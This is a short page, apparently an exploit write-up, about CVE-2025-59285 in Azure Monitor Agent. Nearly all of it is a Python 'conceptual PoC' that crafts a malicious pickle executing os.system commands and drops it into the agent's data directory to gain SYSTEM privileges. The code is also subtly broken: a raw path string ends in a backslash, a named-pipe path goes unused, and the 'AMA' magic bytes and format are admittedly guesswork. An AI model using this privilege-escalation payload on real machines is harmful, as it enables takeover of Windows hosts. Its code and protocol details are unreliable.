CVE-2025-59285 Azure Monitor Agent反序列化漏洞导致本地权限提升

# CVE-2025-59285 - Azure Monitor Agent Deserialization PoC # Note: This is a conceptual PoC for security research purposes only. # Actual exploitation requires specific environment configuration. import struct import pickle import os import sys class AzureMonitorAgentExploit: """ Conceptual PoC for CVE-2025-59285 - Deserialization vulnerability in Azure Monitor Agent leading to local privilege escalation. """ def __init__(self): self.target_service = "AzureMonitorAgent" self.payload_path = r"C:\ProgramData\Microsoft\AzureMonitorAgent\" def craft_malicious_payload(self, command): """ Craft a malicious serialized payload that exploits the deserialization vulnerability in Azure Monitor Agent. """ # Step 1: Create a malicious class that executes on deserialization class MaliciousPayload: def __reduce__(self): # Command to execute with SYSTEM privileges return (os.system, (command,)) # Step 2: Serialize the malicious object malicious_data = pickle.dumps(MaliciousPayload()) # Step 3: Wrap in the expected AMA data format ama_payload = self._wrap_ama_format(malicious_data) return ama_payload def _wrap_ama_format(self, data): """ Wrap serialized data in Azure Monitor Agent expected format. The exact format depends on the AMA version and communication protocol. """ # AMA uses a specific binary protocol for inter-process communication header = struct.pack('<I', len(data)) # Data length magic = b'\x41\x4D\x41\x00' # AMA magic bytes return magic + header + data def deliver_payload(self, payload): """ Deliver the crafted payload to the Azure Monitor Agent service. This could be via named pipe, shared memory, or local file. """ try: # Method 1: Write to AMA's IPC named pipe pipe_path = r"\\.\pipe\AzureMonitorAgent" # Method 2: Write to AMA's data directory payload_file = os.path.join(self.payload_path, "incoming_data.bin") with open(payload_file, 'wb') as f: f.write(payload) print(f"[+] Payload delivered to {payload_file}") return True except Exception as e: print(f"[-] Failed to deliver payload: {e}") return False def execute(self, command="whoami > C:\\pwned.txt"): """ Main execution method - crafts and delivers the exploit payload. """ print(f"[*] CVE-2025-59285 - Azure Monitor Agent Privilege Escalation") print(f"[*] Target Service: {self.target_service}") # Craft the malicious payload payload = self.craft_malicious_payload(command) print(f"[+] Malicious payload crafted ({len(payload)} bytes)") # Deliver to target if self.deliver_payload(payload): print("[+] Exploit delivered successfully") print("[+] Waiting for AMA service to process payload...") else: print("[-] Exploit delivery failed") if __name__ == "__main__": # Ensure we have local access (low privilege is sufficient) if os.name == 'nt': exploit = AzureMonitorAgentExploit() # Default command: create a marker file to confirm code execution exploit.execute() else: print("[-] This exploit targets Windows systems with Azure Monitor Agent") sys.exit(1)